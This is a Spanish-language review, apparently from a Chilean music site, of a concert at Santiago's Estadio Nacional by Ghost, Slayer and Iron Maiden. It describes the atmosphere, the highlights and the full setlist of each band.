El pasado miércoles un Estadio Nacional se convirtió en el séptimo hijo de la Bestia.

 

Un frío miércoles nos recibiría para vivir la segunda jornada de esta gran semana de rock y metal en nuestro país. Y no es menor, tres grandes conciertos de bandas consagradas y con una extensa fanaticada en el país, es algo que quizas nunca pensamos que iba a pasar, pero sucedió y la noche de pasado miercoles terminó siendo majestuosa. El ánimo del reciento ya lo presagiaba, un ambiente casi familiar, lienzos de distintos puntos del país, padres con hijos compartiendo, todo esto como previa a las bandas.

Comienza la misa con Ghost

Con una ya fría tarde y con dos cuartos de audencia, a las 18:30 comienza el debut en nuestro país de Ghost. El público los recibe con aplausos pero es el vocalista, Papa Emeritus II, con su entrada quien logra más aplausos y algunos gritos de los presentes. La elegida para abrir su show fue Infestissumam, intro de su segunda e última placa. La banda y principalmente su vocalista Papa Emeritus II, poseen una presencia escenica notable, el atuendo y estampa de Ghost no puede pasar sin provocar algo en las persona y eso ayer se notó. Terminada la segunda canción, Papa Emeritus II saluda en español y comunica que al fin Ghost a llegado a Chile.

El show continuó sin contratiempos, la banda sonando bien con una presentación sólida con la cual de ganó el respeto de los presente, quienes disfrutaron el show de Ghost. Emeritus II, nos invita a unirnos al ritual y es precisamente Ritual una de las canciones más cantadas por el público. Otro punto alto fue Monstrance Clock, la encargada de cerrar este primer encuentro con una banda tan particular como Ghost. Lo más seguro es que retornen al país con show propio y no estaría malo, una banda tan particular como esta merece ser vista una vez más.

Setlist:
1.- Infestissumam
2.- Per Aspera Ad Inferi
3.- Con Clavi Con Dio
4.- Stand By Him
5.- Prime Mover
6.- Year Zero
7.- Ritual
8.- Monstrance Clock
El infierno de Slayer

Si bien esta era la tercera visita consecutiva de Slayer, siempre es un gusto verlos en vivo. Esta visita de Slayer poseía varias particularidades; verlos de teloneros de Iron Maiden, la primera visita post-muerte del gran Jeff Hanneman y una banda cada vez más percibida como chilena más que americana. La relación entre Slayer y Chile, cada año es más fluida. Tom Araya cuando habla en español lo hace utilizando términos locales y eso se agradece, uno siente a Slayer «de la casa» y el mismo Tom lo ha dado a entender así.

A las 19:35 un Estadio Nacional casi lleno, se pinta de sangre, se va la luz solar, las luces rojas rojas sirven de telón mientras se escucha de fondo la intro de World Painted Blood, el tema que dá «el vamos» al encuentro con Slayer. World Painted Blood, prende al público y cuyo coro fue cantado por todos los presentes. Sigue la potente Disciple que continuó la saga de canticos con puño en alto.

Se produce una de las pocas pausas del encuentro, Tom Araya gritando el ya clásico «Viva Chile Mierda» que dedicó al país en el pasado Big4. El español de Araya es notable, ya casi no hay nada que recuerde su inglés natal.

War Ensemble llegó sin aviso y fue recibida con todo, no dando espacio a tregua recibimos Mandatory Suicide y Hallowed Point. Simplemente brutal, tres temas para quedar sin cuello y es lo bueno que tiene Slayer, no da espacios a pausas, una vez en el escenario hacen su pega sin mucho espacio de interacción y esto visto en las tres última presentaciones de la banda.

Otra pausa y luego de unas palabras de Tom Araya recitando uno de los temas más densos de la banda, la hermosa «balada» Dead Skyn Mask cuyo coro sonó fuerte y potente, Dead Skyn Mask da ese espacio de intimidad con la banda. Se acababan los clásicos y era el turno de Hate Worldwide, una de las más recordadas del World Painted Blood. Es bueno ver como se afiata cada vez más la nueva formación de Slayer, refiriendome más a Gary Holt (Exodus), quien ya ha hecho suyos los solos y es uno de los que más interactua con el público, por otro lado Paul Bostaph dejó con esta presentación dejó más que claro su experiencia y brutalidad.

Sonaban los espesos acordes de Seasons In The Abyss y el grito del público al reconocer el tema fue unánime, más aún el coro con el conocido: «Close your eyes, look deep in your soul…» el cual fue cantado a más no dar.

Se despliega el aclamado telón en honor al fallecido Jeff Hanneman, telón basado en la gráfica que hacía tan particular la guitarra de Jeff e inspirado a una de sus aficiones favoritas: la cerveza. La euforía el público frente a este homenaje a Jeff fue inmediata y se convirtió en otro de los puntos altos de la jornada junto a Slayer, recordandonos que los caídos en el rock no mueren mientras la música siga estando presente, la frase «Hanneman: Angel de la Muerte – Sigue Reinando» lo deja más que claro. Se suma al telón de Hanneman, la proyección en las pantallas de imágenes y videos de Jeff mientras sonaba South Of Heaven, clásico y que fue recibido con emoción acompañada de los inmortales headbangers que produce esta canción.

Mientras seguían las imágenes de Jeff, se escucha esa la infaltable Raining Blood, sí, cuya intro sabemos de memoria como también sabemos que luego de ella se vendrán los cabeceos y mosh. Raining Blood liberó la adrenalina en los fanaticos quienes gritaron el coro y las bengalas en este punto se multiplicaron. Antes de recuperarnos, Angel Of Death sonó y terminó por reventar la euforía del público, cuanta emoción liberada en estos dos últimos temas. Así cerraba Slayer su show con Chile, show con una corta duración de 60 minutos aproximados, además de una rara o fría despedida por parte de los músicos y un «Chao, buenas noches, adiós» por parte de Tom Araya.

Setlist:
1.- World Painted Blood
2.- Disciple
3.- War Ensemble
4.- Mandatory Suicide
5.- Hallowed Point
6.- Dead Skin Mask
7.- Hate Worldwide
8.- Seasons In The Abyss
9.- South of Heaven
10.- Raining Blood
11.- Angel of Death
La cita con la Doncella

Era esta la séptima cita que tendría la Doncella de Hierro con el público nacional, doncella que venía vestida de Maiden England, registro que promocionaba la gira del séptimo disco de la banda, raras coincidencias. Había mucha expectación por el show de los británicos, luego de una exitosa presentación en el Rock In Rio pasado, sabíamos que este concierto sería de los más grandes.

Pasadas las 21:00, se bajan las luces y parte una de las intro más potentes, siendo que no pertence a la banda pero es la intro que marca un punto de no retorno con Iron Maiden, uno es conciente que cuando empieza a sonar Doctor Doctor de UFO, no hay vuelta atrás. Debo reconocer que a diferencia de otras veces, no sonó tan potente pero aún así la emoción siempre es la misma. Si bien Doctor Doctor, dejó al público cantando, faltaba la segunda intro, la que abre el mágico camino del Seventh Son y también presenta uno de los temas más sombríos de la banda, se escucha el excelente «Seven deadly sins, seven ways to win…» es el paso para escuchar la notable Moonchild, que marca la salida al escenario de la banda con pirotecnia incluida. Si bien corría un fuerte viento, sumado a las imágenes proyectadas alusivas a la artwork del disco, con Iron Maiden en escena todo el frío pasó a segundo plano.

Se cambía el telón y nos indica que todos los presentes podemos jugar con la locura, Can I Play With Madness, fue saltada y gritada por un público a esa altura ya enloquecido. El impresionante galope que tiene este tema, hace que siempre sea disfrutado y con una doncella sonando perfecto.

Quienes no nos aguantamos y vimos el Rock In Rio, sabíamos que se venía una joya y a título personal una de la más esperadas, del gran lado A del conocido The Number Of The Beast, era The Prisioner inspirada en una clásica serie inglesa. Con una intro demoledora, este tema fue uno de los grandes aciertos, tal cual lo fue Children Of The Damned de la pasada gira Somewhere Back In Time del 2009. Se agradece.

El Eddie posando frente a las banderas, pero ahora congelado nos indica que 2 Minutes To Midnight es la siguiente y realmente nos mandó un certero golpe en los dientes, sonó como nunca. Uno de los punto altos, ya que subió aún más las revoluciones alcanzadas con los anteriores temas. Steve Harris disparando notas con su bajo y la bateria de Nicko sonando como bala.

Se produce la primera gran pausa y Bruce saluda con un correcto «Buenas Noches», asombrado habla de los 60.000 fanáticos que se encuentran reunidos. No es menor la relación de la banda con el país, sabemos que no partió muy bien pero siempre la escala y el número de asistentes ha ido en crecimiento, los recintos cada vez más grandes y 60.000 rockeros venidos incluso desde otros paises es algo simplemente hermoso. También nos cuenta que tenemos harto show por delante y varios temas  más del Seventh Son, pero ahora era turno de otro clásico y que resultaba poco probable alguna vez escucharlo en vivo, pero sí, la noche daba para sorpresas y era la épica «Afraid To Shoot Strangers» recordada en las voces del gran Blaze Bayley, la cual ejecutada a la perfección y con un contenido y cambios de ritmos que provocaron que a varios se les pusiera la piel de gallina.

En los telones se muestra uno de los más aplaudidos, conocidos y gritados singles de Iron Maiden, el Eddie vestido de soldado que nos invita a galopar y surcar balas. The Trooper, que se gritó de principio a fin. Con el ya reconocido Bruce empuñando la bandera tal cual la portada del single y además con la misma vestimenta. Es notable siempre ver el espectaculo que sucede con esta canción, por un lado el público vuelto loco gritando el tema y por otra parte la banda y Bruce corriendo por todo el escenario llevando la bandera y molestando a Janick Gers, tapándolo con la bandera y dejandolo a su suerte.

Se vuelven a bajar las luces y empieza aquella cita bíblica bajo la voz Barry Clayton imitando a un siempre recordado Vincent Price. La euforía se desata una vez más, porque se viene uno de los más polémicos y escuchado temas de Iron Maiden, es la hora de The Number Of The Beast. El mismo Diablo acompaña el escenario sumado al fuego logran la atmósfera perfecta para la ejecución del tema el recinto se convierte en un infierno y el grito lanzado por Dickinson sonó en todo Ñuñoa.

Luego de una pausa, vendría uno de los favoritos del público tanto por su cantidad de cambios, lo progresivo del tema y también por lo bello del mismo. La maravillosa Phantom Of The Opera, hizo retumbar un estadio completo, que canción más potente y donde los Scream For Me patentados de Dickinson se hicieron escuchar, por otro lado nadie pensó en imaginar a un Bruc

e con chupalla y más aún cantado este temón. Que momento vivimos durante este tema.

La batería de Nicko nos anuncia que se viene un clásico de aquellos, Run To The Hill. El artwork del single acompaña a la banda, Eddie luchando con la hacha de la portada del Killers versus el mismísimo Diablo quien se defiende con un tridente. Run To The Hills, logró un coro gritado (cantado) al mismo nivel o quizas más alto que The Trooper, es una canción que fue hecha para cantarla en vivo, sumado a ello la primera aparición de Eddie en el show. Un Eddie con sable en mano que aparte de luchar con un lúdico Janick Gers, tocó batería con su sable, acompañando a McBrain en el trabajo de los platillos. Punto alto del concierto sin lugar a dudas.

Wasted Years es uno de los emocionantes clásicos de la banda que si bien tuvo un mal comienzo, de hecho costó darse cuenta que tema era en un principio, con el transcurso de la canción logró sonar más que bien. Con 60.000 almas cantando «Soooooo understand…», todo se justificaba.

Lo que vendría acontinuación era uno de los momentos más esperados por el público, no hablando del público en general sino de aquellos fans que soñaban con escuchar una de las obras maestras de Iron Maiden, la canción que da nombre al disco, Seventh Son Of A Seventh Son. Con un Bruce Dickinson con peinado a lo Misfits, con un abrigo y una pinta oscura, sumado al Eddie del artwork de The Prophecy crearon el ambiente perfecto para un tema oscuro y a la vez mágico. Canción interpretada a la perfección de principio a fin, sublime e inigualable. Iron Maiden se complementó como nunca y nos entregaron una de las mejores interpretaciones de la noche.

La metralleta de Harris, nos introduce a otro de los temas orejas del disco y también uno de los temas que regularmente la doncella toca en sus presentaciones, The Clairvoyant.

Y es que esta canción se suma a la lista del gran Seventh Son, donde todos los temas son buenos.

Fear Of The Dark, siempre funcionará y erizará la piel vez que lo toquen. Es un tema inamovible del setlist por todo lo que genera, una fraternidad y emoción entre los presentes. El primer cántico corre por el público y los «Oh oooh ooh oh oooh oh» se hacen uno solo y nuevamente se desata la adrenalina, que con los saltos y gritos hacen único este tema en el repertorio en directo de Iron Maiden.

Otro inmovible del setlist de la bestia, es la canción que marca la presencia escenica de Eddie. Iron Maiden, con una guitarra fuerte y al hueso, entramos al tema que lleva el nombre de la banda y del primer disco. De todos los Eddie presente en los shows de la doncella, este es uno de los más notables, el Edward The Head del Seventh Son, con el «no nacido» nombrado en Moochild retorciendose, un Eddie con fuego en la cabeza y movimiento de boca. Un regalo visual de la banda para el público. Maravilloso. La banda se despide pero sabemos que volverán.

Y el regreso es majestuoso, el inconfundible discurso de Winston Churchill alentando para ir a la batalla, en ese momento todos los presentes nos subimos a un avión y volamos con Aces High. Que tema, de verdad la fuerza que produce es única, ya sea en estudio pero sobretodo en vivo. Es un llamado a luchar surcando los aires y esos solos de guitarras potencian aún más el viaje.

The Evil That Men Do, siguió la dosis de euforía desatada por Aces High, rápida y mordaz, cantada por el respetable que ya sabía que se venía el cierre de esta noche.

Running Free cerraría la noche y como no serlo, es un clásico y con un ritmo ideal para el cierre de una extensa pero preciosa jornada. El juego de cantar «I’m running free yeah, I’m running free!», serviría no solo para crear las últimas interacciones con el público, sino también para presentar a la banda de forma completa. Con cerveza en mano Bruce nos invita a que la próxima vez seamos 80.000 fanaticos, nos agradece la presencia y se retiran del escenario.

Se cierra el boliche con «Always Look On The Bright Side Of Life» de la pelicula The Life Of Brian, de Monty Python. Gran jornada que ní el frío logró detener, Ghost, Slayer y Iron Maiden, un show para el recuerdo.

Setlist:
1.- Doctor Doctor (UFO)
2.- Moonchild
3.- Can I Play with Madness
4.- The Prisoner
5.- 2 Minutes to Midnight
6.- Afraid to Shoot Strangers
7.- The Trooper
8.- The Number of the Beast
9.- Phantom of the Opera
10.- Run to the Hills
11.- Wasted Years
12.- Seventh Son of a Seventh Son
13.- The Clairvoyant
14.- Fear of the Dark
15.- Iron Maiden
Encore:
16.- Aces High
17.- The Evil That Men Do
18. Running Free

 

Fotografías: DG MEDIOS

 

 

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